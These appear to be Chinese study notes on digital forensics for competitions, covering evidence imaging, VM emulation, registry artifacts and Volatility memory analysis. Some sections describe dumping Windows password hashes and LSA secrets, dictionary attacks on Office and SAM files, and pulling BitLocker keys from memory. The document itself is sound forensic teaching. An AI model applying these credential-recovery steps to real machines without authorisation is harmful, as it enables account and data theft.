电子取证

参考文章

https://www.forensics-wiki.com/node/0197f50d-3a4d-7e7d-8279-d043696ea684

https://blog.csdn.net/2301_81210668/article/details/146108090

https://blog.csdn.net/qq_43491969/article/details/147589737

https://www.cnblogs.com/WXjzc/p/18595176

https://blog.csdn.net/jnszstmei/article/details/144794546

https://github.com/Tokeii0/LovelyMem

镜像制作

磁盘镜像制作

  • 打开FTK Imager选择文件

  • 点击创建磁盘镜像
    img

  • 选择自己需要的源证据类型
    img

  • 在镜像目标这里选择需要的制作镜像类型
    img
    img

  • 注意事项

    - - 证据项信息根据实际填写
      - 镜像目标选择
      - 镜像目标文件夹:制作成功的镜像存放的文件夹,请存放在外置硬盘中,禁止放在嫌疑人计算机中。
      - 镜像文件名:根据个人选择,注意不要包含后缀名。
      - 镜像分片大小:如因镜像太大,可能导致无法打开,因为需要将镜像切片,此处即 每个分片的大小。
      - 压缩:0为镜像原大小,数值越大 压缩程度越高。
      - Use AD Encryption:请根据实际情况选择
    

    img

  • 点击Finsh即可开始制作

内存镜像

  • 在FTK Imager中选择文件-内存抓取
    img
  • 目标路径:抓取的内存镜像存放位置。
  • 目标文件名:需带上文件后缀名。
  • 包含pagefile:即电脑的, 虚拟内存,请参考:百度百科
  • 创建AD1文件:请根据实际情况选择。
  • 点击 抓取内存 即可

镜像仿真

qemu-img镜像转换工具

qemu支持格式

介绍

qemu-img能将RAW、qcow2、VMDK、VDI、VHD(vpc)、VHDX、qcow1或QED格式的镜像转换成VHD格式,也可以实现RAW和VHD格式的互相转换。

下载地址https://cloudbase.it/qemu-img-windows/

用法

将 QCOW2、RAW、VMDK 或 VDI 镜像转换为 vmdk
./qemu-img convert -f raw【镜像的绝对路径】 -O vmdk【镜像的保存路径】

# 镜像绝对路径 例:G:\Forensics\test.raw
# 镜像保存路径 例:G:\Forensics\end\test.vmdk
  • -o 指定输出格式
  • -p 显示转换进度
  • -f 原有镜像格式
其他命令
  • 检查虚拟磁盘的一致性
./qemu-img check source.qcow2
  • 获取有关虚拟磁盘的信息
./qemu-img info image.qcow2

创建虚拟机

  • 新建虚拟机-自定义(高级)

  • 兼容性根据实际选择

  • 稍后安装操作系统

  • 操作系统,虚拟机名称,位置都根据自己需要选择

  • 固件类型选择 BIOS

  • 处理器,内存根据自己需要选择

  • 网络连接选择 桥接模式 ,因为后面可能需要连接数据库等等。

  • SCIS选择, LSI Logic SAS

  • 虚拟磁盘类型选择, IDE

  • 磁盘选择,

    注意:如果你已经用FTK imager挂载了镜像,就直接选择 使用物理磁盘 ,在你之后的操作中,都不会写入原镜像中,但是如果选择了 虚拟磁盘 ,就需要提前 做好镜像的备份 ,因为他会对你之后的操作写入原硬盘。
    

qemu-img不支持格式

把EnCase镜像格式转换成虚拟机

  • 打开FTK imager

  • 添加镜像文件

    File → Add Evidence Item → Image File → 选择检材_服务器.E01
    
  • 加载完成后,右键磁盘 → Export Disk Image。(注意不要分卷)

  • 选择输出格式:

    • Raw (dd):得到 .img 文件
    • 或者 EWF(E01)Virtual Disk (vmdk)(新版 FTK 支持)
  • 打开qemu-img

    qemu-img convert -f raw -O vmdk server.img server.vmdk
    

DD、E01挂载

FTK Imager挂载镜像

  • 选择 文件 -> 镜像挂载
    img

  • 选择镜像文件 -> 加载方法选择:“Block Device / Writeable” -> 点击装载 -> 记住驱动号(Drive)

    img

  • 挂载成功后,会在原来的镜像文件处,多出一个, .adcf, 文件,它是用来, 存放镜像虚拟写入的文件,。
    img

VMware新建虚拟机

  • 新建虚拟机 -> 自定义(高级) -> 下一步 -> 硬件兼容性默认 -> 下一步
    img
    img

  • 选择稍后安装操作系统 -> 下一步
    img

  • 操作系统及保存位置 按照实际需要
    img

    img

    如果不知道操作系统,在FTK Imager里可以查看到img

  • 固件类型选择, UEFI
    img

  • 处理器及内存根据自己电脑配置选择

  • 网络类型选择 使用网络地址转换
    img

  • SCSI控制器选择, LSI Logic SAS(S)
    img

  • 磁盘类型选择, SATA
    img

  • 磁盘选择, 物理磁盘

image-20221120110211388

  • 设备选择 之前FTK Imager挂载后的Drive,

    image-20221120110320634

  • 之后所有选项默认

  • 在启动虚拟机后,如果显示下面的内容,则选择 否,

    image-20221120110552742

  • 成功启动,

    image-20221120110627310

VeraCrypt使用方法

介绍:CTF比赛常用这个加密镜像,需要使用这个解密。
下载地址https://veracrypt.io/en/Downloads.html

使用方法

  • 选择加密卷加载,如果点击选择文件闪退,可以直接拖入镜像文件。
    img
  • 输入密码,如有密钥文件则使用密钥文件,如有PIM值则一同输入,选择加载即可
    img
  • 加载成功后,在本地中即可显示出新加载的卷
    img

常见的时间戳转换

常用时间戳

秒时间戳:10位
毫秒时间戳:13位

在线工具
https://www.beijing-time.org/shijianchuo/

离线工具
ConvertTools

17位时间戳

介绍:Chrome的基准时间是1601年1月1日00:00:00。要计算本地时间,Chrome time必须除以一百万转换为秒,然后必须减去01/01/1601 00:00:00和01/01/1970 00:00:00之间的秒差

在线工具https://www.epochconverter.com/webkit

18位时间戳

转换方法:取前9位的数值,数值 + 978307200 ,得到一个常见的9位时间戳,使用工具转换成正常时间即可

例:617613267628200064 取前九位 617613267 +978307200=1595920467 1595920467转换后2020-7-28 15:14:27

证据文件格式

位对位镜像:全盘或分区镜像文件

  • E01
    • 支持无损压缩,精确镜像源介质中的数据;
    • 可记录证据制作过程相关信息;
    • 支持对源盘进行哈希计算并将其记录在证据文件内部;
    • 支持证据文件的密码保护;
    • 符合司法规范,通过美国法庭验证。
  • Ex01
    • 支持对数据块的加密(AES 256),支持采用密码或非对称密钥(公钥/私钥)方式对证据文件进行保护;
    • 压缩方法上不需要具体指定某一种压缩方法,压缩功能只提供“启用”和“禁用”。
  • DD/Raw Image(原始数据镜像)
    • 兼容性较强,多数取证分析工具均支持该格式;
    • 对原始数据进行获取,不经过压缩,速度快;
  • AFF
  • Smart

特定数据镜像:逻辑证据文件

  • L01
  • Lx01
  • AD1 ---ctf赛事中常出现,使用FTK Imager打开

虚拟磁盘

  • VMDK :X-ways,vmware(如果存在mssql.ovf文件),
  • VHD:windows可直接双击挂载;bitloacker
  • VHDX
  • VDI

镜像软件工具

类型 名称
免费镜像工具 美国FTK imager,美国Encase Imager/Tableau Imager,美国Paladin 俄罗斯Belkasoft Acquisition Tool 美国Autopsy 中国流火镜像大师 Myhex 加拿大Magnet Acquire
商业镜像工具 德国Xways Imager 美国 MacQuisition 美国Smart Linux
免费挂载工具 美国Arsenal Imager Mounter 美国FTK Imager
商业挂载工具 澳大利亚Mount Image Pro 美国Arsenal Imager Mounter专业版中国流火挂载

数据恢复

UFS Explorer Professional Recovery

windows上最好用的RAID数据恢复工具就是UFS

恢复格式化数据

点击Refresh刷新
右键目标设备->scan for lost data->start scan
等待扫描结束后,就会显示扫描出的文件夹,点击进入即可看见文件树

RAID 0恢复

RAID 0 的核心是 “条带化” 技术,具体过程如下:

  • 划分块(Block/Stripe):将整个 RAID 0 阵列视为一个逻辑磁盘,数据被切割成固定大小的 “数据块”。关键是固定大小
  • 循环分布:切割后的 data 块会按顺序依次分散到阵列中的各个物理磁盘上。

当获得RAID 0时的回复操作:

  • Open->Disk image file or virtual disk

取证工具

注册表工具

AmcacheParser

AmcacheParser 是命令行工具,基本语法如下:

# 解析 Amcache.hve 文件并导出为 CSV 格式
AmcacheParser.exe -f "C:\Windows\AppCompat\Programs\Amcache.hve" -o "D:\取证结果\Amcache分析"
  • -f:指定 Amcache.hve 文件路径(支持锁定文件,无需复制即可直接解析)
  • -o:指定输出目录,生成的 CSV/JSON 文件会保存到该目录
  • 其他参数:-h 查看帮助,-v 显示详细日志,-csv 强制导出 CSV 格式

AppCompatCache

AppCompatCache 是 Windows 系统为解决程序兼容性问题而维护的记录,存储在注册表中(不同系统版本位置不同):

  • Windows XP/Server 2003:位于 HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatibility\AppCompatCache
  • Windows Vista 及以上:位于 HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache\AppCompatCache
# 解析系统当前的 AppCompatCache(需管理员权限)
AppCompatCacheParser.exe -r -o "D:\取证结果\AppCompatCache分析"

# 解析离线的 SYSTEM 注册表 hive 文件(如从镜像中提取的)
AppCompatCacheParser.exe -f "D:\镜像文件\SYSTEM" -o "D:\取证结果\离线分析"
  • -r:直接读取当前系统的注册表(需管理员权限)
  • -f:指定离线的 SYSTEM 注册表 hive 文件路径
  • -o:指定输出目录,结果以 CSV、JSON 等格式保存
  • 其他参数:-h 查看帮助,-v 显示详细日志,-t 强制使用特定时间格式

Volatility 2.6

查看基本信息

.\volatility_2.6.exe -f ".\easyrawencode.raw" imageinfo
  • imageinfo:Volatility 的核心插件之一,用于分析镜像文件的基本信息,帮助确定镜像的操作系统类型、内核版本等关键信息(这是后续分析的基础)。具体如下

  • 操作系统类型:比如是 Windows XP、Windows 7、Linux 还是 macOS 等。

  • 系统位数:32 位(x86)或 64 位(x64)。

  • 内核版本:例如 Windows 7 的内核版本可能是 6.1.7601 等。

  • 可能的内存页大小:如 4096 字节(常见于 x86/x64 系统)。

  • 推荐的 profile:Volatility 分析需要指定 “profile”(对应操作系统版本的配置文件),imageinfo 会根据分析结果推荐最可能的 profile(通常标为 Suggested Profile(s))。通常选择推荐的第一个
    如:

    Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418
    
  • 地址空间(Address Space)层级

  • 镜像的时间信息

查看进程

.\volatility_2.6.exe -f "路径\easyrawencode.raw" -profile=Win7SP1x64 pslist
  • 选择推荐的 Profile(比如 Win7SP1x64
  • pslist 用于列出系统中曾运行的进程

列出所有进程启动时的命令行参数

.\volatility_2.6.exe -f "C:\Users\Eth\Desktop\match\西湖\easyrawencode.raw" --profile=Win7SP1x64 cmdline

查找文件

.\volatility_2.6.exe -f ".\easyrawencode.raw" --profile=Win7SP1x64 filescan | findstr rsa

image-20250222212608589

vol.py -f image.raw --profile=Win7SP1x86_23418 filescan | grep Desktop | grep Users

|是管道符,前面的输出会作为后面命令的输入。

文件导出

.\volatility_2.6.exe -f "C:\Users\Eth\Desktop\match\西湖\easyrawencode.raw" --profile=Win7SP1x64 dumpfiles -Q 0x00000000061f5630 -D .

.\volatility_2.6.exe -f "C:\Users\Eth\Desktop\match\西湖\easyrawencode.raw" --profile=Win7SP1x64 dumpfiles -Q 0x000000003dfdf070 -D .

.\volatility_2.6.exe -f "C:\Users\Eth\Desktop\match\西湖\easyrawencode.raw" --profile=Win7SP1x64 dumpfiles -Q 0x000000003fd5bf20 -D .

  • -D .-D 指定文件提取后的保存目录,. 表示当前命令执行的目录(即运行 Volatility 的文件夹)

搜索环境变量

.\volatility_2.6.exe -f "C:\Users\Eth\Desktop\match\西湖\easyrawencode.raw" --profile=Win7SP1x64 envars | findstr hackkey
  • | findstr hackkey:这是 Windows 命令行中的管道操作,将 envars 的输出结果传递给 findstr 工具,只筛选出包含 hackkey 字符串的行(类似 Linux 中的 grep "hackkey")。

残留的命令行历史记录

.\volatility_2.6.exe -f "C:\Users\Eth\Desktop\match\西湖\easyrawencode.raw" --profile=Win7SP1x64 cmdscan

提取控制台输入输出历史记录

.\volatility_2.6.exe -f "C:\Users\Eth\Desktop\match\西湖\easyrawencode.raw" --profile=Win7SP1x64 consoles

Password Kit

  • 破解压缩包
  • 破解Ofiice
  • 破解多种硬盘加密

浏览网页的登陆密码

  • 选择Internet&Network

image-20251025164016452

  • 弹出的窗口点击Websites
    image-20251025164113053

X-ways

搜索过滤浏览

  • 显示所有文件

image-20251024003722190

  • 点击文件名称,就可以根据文件名过滤

image-20251024004108417

右边可以看到位置

注册表信息查看

  • 浏览到c:/windows/system32/config后,选择一个注册表文件,右键打开即可
    image-20251025131758070

AXIOM

注意事项

小心爆内存,把虚拟内存设置到150G以上。

Autopsy

Inset介绍

模块名称 功能说明 是否勾选
Recent Activity 分析系统近期活动痕迹,如最近访问的文件、程序记录等 ✔️
Hash Lookup 通过哈希值比对识别文件,判断文件是系统文件、恶意文件还是未知文件 ✔️
File Type Identification 识别文件的真实类型,确定文件是文档、图片、可执行文件等 ✔️
Extension Mismatch Detector 检测文件扩展名与实际文件类型是否不匹配,发现被篡改或隐藏真实用途的文件
Embedded File Extractor 从复合文件(如 Word、PDF)中提取嵌入的子文件(图片、附件等) ✔️
Picture Analyzer 分析图片文件,提取图片元数据、识别可疑图片等 ✔️
Keyword Search 根据自定义关键词列表,在文件内容、名称、路径中批量搜索匹配内容
Email Parser 识别、提取和解析电子邮件相关文件与信息,包括发件人、收件人、正文、附件等 ✔️
Encryption Detection 识别检材中可能被加密的文件或数据,如加密压缩包、加密文档等 ✔️
Interesting Files Identifier 自动筛选出检材中可能具有取证价值的文件,如敏感文件类型、高关联度文件等 ✔️
Central Repository 管理和利用集中式的哈希库、关键词库等资源,辅助文件识别和搜索 ✔️
PhotoRec Carver 从未分配空间等区域恢复已删除的文件碎片,用于恢复被删除的文件 ✔️
Virtual Machine Extractor 识别和提取虚拟机相关文件(如.vmdk),解析虚拟机中的数据 ✔️
Data Source Integrity 验证数据源的完整性,确保检材数据在分析过程中未被篡改 ✔️
Android Analyzer (aLEAPP) 专门分析 Android 手机检材数据,提取 APP 数据、系统信息等 ✔️
Cyber Triage Malware Scanner 对文件进行恶意软件扫描,识别潜在的恶意程序
DJI Drone Analyzer 解析大疆无人机相关数据,提取飞行记录、照片等信息 ✔️
Plaso 进行深度时间线分析,整合系统中各类事件的时间信息
YARA Analyzer 使用 YARA 规则识别恶意软件、敏感文件等,支持自定义规则 ✔️
iOS Analyzer (iLEAPP) 专门分析 iOS 手机检材数据,提取 APP 数据、系统信息等 ✔️
GPX Parser 解析 GPX 格式的文件,提取地理位置相关信息(如轨迹记录) ✔️
Android Analyzer 分析 Android 手机检材数据的通用模块 ✔️

插件

https://github.com/markmckinnon/Autopsy-Plugins

ForensicsTool

  • 密钥计算:微信,野火,抖音
  • 数据库解密:微信,高德,钉钉,SQLCipher,wcdb,ntqq,System.Data.SqLite
  • 数据提取:Navicat,MobaXterm,Dbeaver,FindShell,Xshell,XFtp,Hawk2.xml,MetaMask
  • 注册表分析
  • 爆破:AirDrop手机号,微信UIN
  • 时间戳转换

Windows磁盘取证

BitLocker

加密过程

  • 对一个磁盘进行BitLocker加密的方法很简单,打开资源管理器,在想要加密的磁盘分区上点击右键,选择“启用BitLocker”即可。(在“控制面板”-“系统和安全”-“BitLocker驱动器加密”里也可以启用和管理加密。)
  • 点击“启用BitLocker”之后,在新弹出的窗口中设置加密驱动器密码,输入完成后点“下一步”,然后选择保存恢复密钥的位置。
  • 一般来说,恢复密钥存放在USB闪存驱动器或打印出来安全系数更高,因为这样操作的话,加密驱动器与恢复密钥分离保管,安全性更好。不过实际情况中,有些时候为了省事,会将恢复密钥保存在硬盘中,这也给了我们解密的可能性。
    img
  • 然后BitLocker就开始对整个驱动器进行加密,BitLocker对于驱动器的加密解密耗时较长,用户需要等待相当长的时间。加密完成之后,可以看到原先的磁盘图标上多了一把锁,此时表示驱动器已经加密完成。加密后,磁盘驱动器上会显示一把没有上的锁,这时驱动器是可以打开的。
    img
  • 们需要重启电脑,驱动器锁会彻底锁上,需要输入密码或者验证密钥才能打开。
    img

cmd取证

找到黑客获取到的密码文件(内存取证)

  • 使用cmdscan,查看黑客执行了哪些有关文件的操作。在windows中,使用type命令查看文件内容,我们可以通过这个对命令进行过滤
    image-20251022005425345

  • 再使用filescam,查看文件的偏移。

    image-20251022005657112

  • 使用dumpfiles导出文件

    python vol.py -f SERVER-2008-20241220-162057.raw windows.dumpfiles --physaddr=0x7e4cedd0
    

    image-20251022013343430

    image-20251022013434165

EFS

EFS加密

在资源管理器中在要加密的对象上右键——属性——高级——加密内容以便保护数据(不需要输入密码),EFS加密是用账号本人的证书进行加密解密,所以,如果重做了系统,没有证书将无法解密。

EFS解密

导出证书:CertMgr.msc命令,打开证书管理工具,在个人证书下找到加 密文件系统的证书,右键-所有任务-导出,后缀名cer。

null

重做系统后,把该证书导入,即可打开被EFS加密的对象。操作方法跟导出类似。

分区信息查看

使用火眼查看分区信息

案件>检材>分析详细
image-20251031115741249

ESP的介绍与特征

ESP 分区是 EFI 系统分区的简称,是 GPT 磁盘分区表格式下用于存储引导文件的特殊分区,是 UEFI 启动模式的核心组成部分。

  • 格式与标识:必须采用 FAT32 文件系统,分区类型标识为 EF00(GPT 分区表),容量通常建议 100MB-512MB。
  • 核心功能:存储 UEFI 固件、引导加载程序(如 GRUB、Windows Boot Manager)、驱动程序及启动配置文件,负责计算机启动时的系统引导。
  • 独立性:独立于操作系统分区,即使系统分区损坏,ESP 分区中的引导文件仍可能正常存在,支持多系统引导配置。

文件系统

FAT32

FAT32 文件系统的引导扇区(DBR)中记录着 FAT 表的个数等相关信息。以常用的磁盘编辑工具 WinHex 为例,打开 FAT32 分区后,找到 DBR 所在扇区,一般位于分区的第一个扇区。然后查看其 BPB(BIOS Parameter Block)参数块,在偏移量为 0x10 字节处的值即为 FAT 表的个数。

  • 搜索F8FFFF

ip取证

分析rdp连接的跳板地址

rdp(远程桌面协议

),默认使用 3389 端口 进行通信。
跳板地址:在网络连接中起到 “中间转发” 作用的服务器地址

分析进程信息查看3389端口的程序

  • 使用netscan查看
volatility_2.6_win64_standalone.exe -f "G:\应急比赛\【题目】小题+综合题 (2)\solar\SERVER-2008-20241220-162057\SERVER-2008-20241220-162057.raw" --profile=Win7SP1x64 netscan

image-20251022004041682

攻击者下载黑客工具的地址

当黑客获取shell后,后续会将一些shell或工具上传到公网ip或局域网ip,使用受害者的shell通过这个ip进行下载。
所以我们需要查看命令框执行历史记录。

  • 使用cmdscan查看命令框执行记录
  • (?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)使用正则表达式过去出包含ip的命令。
    image-20251022004835735

NAS共享文件夹地址

用户注册表:C:\Users\[用户名]\NTUSER.DAT

  • 用户注册表:/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/MountPoints2/

image-20251031144727119

Ofiice密码攻击

password kit工具->recover file possword->自定义->添加字典->攻击

更换字典
image-20250926232221092
image-20250926232240661
image-20250926232255355

image-20250926232428886

image-20250926232512795

注册表取证

windows核心注册表:C:\Windows\System32\config\SYSTEM

用户注册表位置:C:\Users[用户名]\NTUSER.DAT

注册表结构

内容 描述
HKEY_CLASSES_ROOT 表示所有文件类型的类信息
HKEY_CURRENT_USER 表示当前用户的设置信息
HKEY_LOCAL_MACHINE 表示计算机的硬件和软件信息
HKEY_USERS 表示所有用户的设置信息
HKEY_CURRENT_CONFIG 表示当前计算机的设置信息
[Windows注册表文件格式规范 ](https://github.com/msuhanov/regf/blob/master/Windows registry file format specification.md)

具体目录

系统信息

操作系统安装时间

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion 的InstallDate子键

关机时间

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Windows 的ShutdownTime键值,以64位Windows/FILETIME时间格式保存。

计算机名称

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\ComputerName\ComputerName 的ComputerName键值

本地用户

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names

最后登录的用户

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI

当前登录用户

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\SessionData\1

连接设备信息

U盘信息

目录:SYSTEM\ControlSet001\Enum\SWD\WPDBUSENUM\

目录结构分段 英文含义与翻译 说明
SYSTEM 系统注册表根键 存储 Windows 系统级配置的核心注册表根键
ControlSet001 控制集 001 Windows 用于存储硬件、软件配置的集合,ControlSet001 是活动配置集之一
Enum 枚举(Enumeration) 用于枚举系统中所有硬件 / 软件设备,记录设备标识、驱动等信息
SWD 软件设备(Software Device) 用于管理 “软件定义的硬件设备”,如多媒体设备、可移动设备的逻辑识别
WPDBUSENUM Windows 可移动设备总线枚举(Windows Portable Devices Bus Enumeration) WPD 是 Windows Portable Devices 的缩写,负责可移动设备(如 U 盘、便携媒体设备)的总线级枚举与管理

image-20251025133644238

  • 信息解释

    名称 类型 说明
    (Default) REG_SZ (value not set) 默认注册表项,值未设置
    Capabilities REG_DWORD 0x00000080 (176) 设备功能标识,十六进制与十进制数值
    ContainerID REG_SZ 设备容器的全局唯一标识符(GUID),用于设备分组识别
    CompatibleIDs REG_MULTI_SZ wpdbusenumfs SWDXGeneric 设备兼容的标识列表,多字符串类型,说明设备兼容类别
    ClassGUID REG_SZ 设备类的全局唯一标识符(GUID),用于设备归类
    Driver REG_SZ {eec5ad98-8080-425f-922a-dabf3de3f69a}\0001 驱动实例路径,关联具体驱动配置
    Mfg REG_SZ Kingston 设备制造商,此处为金士顿(Kingston)
    Service REG_SZ WUDFWpdFs 设备对应的服务名称,用于加载设备服务
    ConfigFlags REG_DWORD 0x00000000 (0) 设备配置标志,十进制 0 表示默认配置
    DeviceDesc REG_SZ DataTraveler 3.0 设备描述,属于金士顿 DataTraveler 3.0 系列 U 盘
    FriendlyName REG_SZ xing120G 设备友好名称,可理解为用户或系统对设备的别名

软件信息

安装的程序

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths

编辑卸载的程序

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

最近使用的文件

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSavePidlMRU

命令信息

最近运行的命令行

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

主要配置单元

  • SYSTEM :对应的注册表分支为 HKEY_LOCAL_MACHINE\SYSTEM ,对应的存储文件是 \Windows\System32\config\SYSTEM ,其作用是存储计算机硬件和系统的信息。
  • NTUSER.DAT :对应的注册表分支是 HKEY_CURRENT_USER ,存储在用户目录下,与其他注册表文件是分开的,主要用于存储用户的配置信息。
  • SAM :分支是 HKEY_LOCAL_MACHINE\SAM ,存储在 C:\Windows\System32\config\SAM 文件中,保存了用户的密码信息。
  • SECURITY :对应的分支 HKEY_LOCAL_MACHINE\SECURITY ,存储在 C:\Windows\System32\config\SECURITY 文件中,保存了安全性设置信息。
  • SOFTWARE :分支是 HKEY_LOCAL_MACHINE\SOFTWARE ,文件存储在 C:\Windows\System32\config\SOFTWARE 中,保存安装软件的信息。

访问和修改注册表

  • 使用Regedit.exe:Regedit.exe是Windows自带的注册表编辑器,可以用来查看和修改注册表中的键值对。打开Regedit.exe后,可以选择需要查看或修改的节点,然后双击该节点下的键值对进行编辑。Win+R输入:regedit
  • 使用Reg.exe:Reg.exe是Windows命令行工具,可以用来在命令行中访问和修改注册表。例如,可以使用“reg query”命令来查询注册表中的键值对,“reg add”命令来添加新的键值对,“reg delete”命令来删除键值对等。
  • 使用API:Windows还提供了一组API,可以在程序中访问和修改注册表。例如,可以使用RegOpenKeyEx函数打开一个注册表的键,使用RegQueryValueEx函数查询一个键值对的值,使用RegSetValueEx函数设置一个键值对的值等。

为了防止注册表出错和损坏, Registry hives 还包括注册的事务日志文件和注册表的备份文件。事务日志文件名与注册表文件一致,且在同一个路径中,只是后缀不同。事务日志文件以 .LOG 为后缀,多个日志后缀会显示 LOG1 、 LOG2 这样。(如果要查看这些日志文件,需要打开文件夹选项,取消勾选“隐藏受保护的操作系统文件”)

ForensicsTool工具

  • 系统信息
    • Build、计算机名称、版本、安装时间、系统名称、发行\产品ID,注册组织等信息、系统时区、关机时间、产品密钥、上次登陆用户
  • 网卡信息
  • 用户信息
    用户名、密码、用户属性、登陆失败和登陆次数、

某.exe的运行情况(NTUSER.DAT)

运行时间、次数、路径信息

  • 使用xway导出\user\admin\NTUSER.DAT

  • 使用RegRipper4.0解析

  • 搜索某exe文件即可
    image-20251025145253288

    注意要看最后一个搜索结果,最后一个才是该文件总的运行次数。

NTUSER.DAT的注册表内容

  • Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store
    用户最近运行的可执行文件(EXE)路径及其运行时间

    Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store
      2019-12-07 09:08:44Z - C:\Users\admin\AppData\Local\Microsoft\OneDrive\19.043.0304.0013\FileSyncConfig.exe
      2019-12-07 09:08:44Z - C:\Users\admin\AppData\Local\Microsoft\OneDrive\21.220.1024.0005\FileSyncConfig.exe
      2019-12-07 09:08:44Z - SIGN.MEDIA=35EA298 setup64.exe
      2019-12-07 09:08:44Z - SIGN.MEDIA=64F2C setup.exe
      2019-12-07 09:08:44Z - SIGN.MEDIA=169CC0 office\setup32.exe
      2019-12-07 09:08:44Z - C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe
      2019-12-07 09:08:44Z - SIGN.MEDIA=A1C464D8 安装用软件\7z2408-x64.exe
      2019-12-07 09:08:44Z - SIGN.MEDIA=A1C464D8 安装用软件\winrar-x64-550scp.exe
      2019-12-07 09:08:44Z - SIGN.MEDIA=A1C464D8 安装用软件\W.P.S.20.3105.exe
      2019-12-07 09:08:44Z - C:\ProgramData\kingsoft\20241109_160654\W.P.S.20.3105.exe
      2019-12-07 09:08:44Z - SIGN.MEDIA=A1C464D8 安装用软件\ChromeSetup.exe
      2019-12-07 09:08:44Z - SIGN.MEDIA=A1C464D8 安装用软件\nox_setup_v7.0.6.1_full.exe
      2019-12-07 09:08:44Z - SIGN.MEDIA=A1C464D8 安装用软件\SunloginClient_15.6.8.15068_x64.exe
      2019-12-07 09:08:44Z - SIGN.MEDIA=A1C464D8 安装用软件\WeChatSetup (3).exe
      2019-12-07 09:08:44Z - SIGN.MEDIA=A1C464D8 安装用软件\XYAZ-Installer-ch7c8a504c.exe
      2019-12-07 09:08:44Z - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      2019-12-07 09:08:44Z - SIGN.MEDIA=A1C464D8 安装用软件\TrueCrypt Setup 7.1a.exe
    

windows密码提取

方法一:(内存镜像)Volatility

  • 使用hashdump查看
.\volatility.exe -f .\1.dmp --profile=Win7SP1x64 hashdump
  • 输出:taqi7:1000:aad3b435b51404eeaad3b435b51404ee:7f21caca5685f10d9e849cc84c340528:::
    在线解密得密码明文(hash密码是7f21caca5685f10d9e849cc84c340528)
.\volatility.exe -f .\1.dmp --profile=Win7SP1x64 lsadump

#适用于LSA 机密加密

LSA Secrets 是一个注册表位置,存了很多重要的东西,只有 SYSTEM 帐户可以访问 LSA Secrets 注册表位置,在 HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets.

lsass.exe 负责访问和管理 LSA Secrets,当系统需要进行身份验证或访问存储的安全信息时,lsass 进程会从注册表中检索 LSA Secrets,并解密这些信息来完成任务,存密码的叫 DefaultPassword,也是我们要看的。

lsadump

其中密码是ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh

方法二:(内存镜像)Passware Kit工具

  • 选择Memory Analysis(支持dmp,)

  • 选择镜像

    image-20250926203242565

  • 得到密码
    image-20250926203523176

方法三:(磁盘文件)X-ways提取注册表文件使用Passware Kit恢复

  • x-ways加载镜像,
    image-20251022200615034

  • 导出\Windows\System32\config
    image-20251022202132589

  • 打开Passwar

  • 选择Standalone System

    image-20251022214021936

  • 加载需要恢复的文件夹
    image-20251022214053105

  • 一直点击next即可(密码文件推荐使用rockyou.txt)
    image-20251022221621066

方法四:注册表hash

  • 导出C:/windows/system32/config所有文件

  • 使用注册表解析工具,如(ForensicsTool)解析注册表

    image-20251025125439678
  • 得到hash后去https://www.cmd5.com/解析即可。
    image-20251025125510228

PasswareKitForensic密码攻击

passware kit -> Full Disk Encryption -> BitLocker

  • 有内存镜像,选择I have a memory image,这样就可以不用暴力破解,因为内存中通常会有恢复密钥。
    image-20250926225014490
    image-20250926225446578

得到密钥后,在DiskGenius中解密,即可浏览文件。
image-20250926231234173

EFDD攻击(首选)

这个工具非常高效,对于PasswareKit半个小时的攻击,这个几乎秒出。

image-20251023235556030

image-20251023235612363

image-20251023235659779

image-20251023235806574

image-20251023235824323

挂载的bitlocker加密的分区的驱动器号

  • 首先要在取证文件中找到对应的磁盘映像文件(vhd)

    使用x-ways分析只能一个一个文件夹寻找,不过可以选择挂载出来,使用电脑上的工具去寻找。
    image-20251023011616889

    image-20251023010720749

  • 将对应vhd文件提取
    image-20251023011850671
    就可以看到驱动器是否被保护。

基本信息取证

密码配置信息

方法一(软件查看)

  • 打开本地安全策略
    image-20251031143542485

方法二(命令框)

net accounts

image-20251102195506959

远程连接工具取证分析

向日葵远程控制

向日葵操作页面【快速定位基础信息】

img

向日葵操作页面(已登录)

①登录信息: 关联登录账号与设备列表,锁定操作主体身份。

②被控端信息: “本机识别码+单次验证码”是设备被远程控制的重要凭证。其中,识别码可唯一标记设备,结合日志(如Oray\SunLogin\SunloginClient\log)能回溯历史连接的完整流程,包括设备何时被控制、由谁发起控制等关键信息。

③主控端信息: “伙伴识别码+验证码”与发起控制行为相对应,历史识别码记录关联日志后,可还原具体操作细节,像文件传输的路径、时间以及远程指令的执行痕迹等。

  • 系统菜单

    • 系统设置:可查看账号信息与登录方式,若为手机号登录,能在账号信息中获取手机号码。
      img
    • 日志: 远程连接相关信息,如连接时间、地址等
    • 历史记录: 不仅能查看历史连接活动信息以及文件传输信息,还详细记录了每次连接的起止时间、主控端与被控端的识别码、操作类型(如远程桌面控制、远程文件管理);
      img
    • 账号被控制记录: 能快速获取当前登录账号下所有设备近 24 小时的被控记录;
      img
